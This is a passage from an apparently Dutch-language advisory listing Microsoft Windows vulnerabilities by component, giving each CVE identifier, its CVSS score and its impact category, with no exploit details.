\n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde 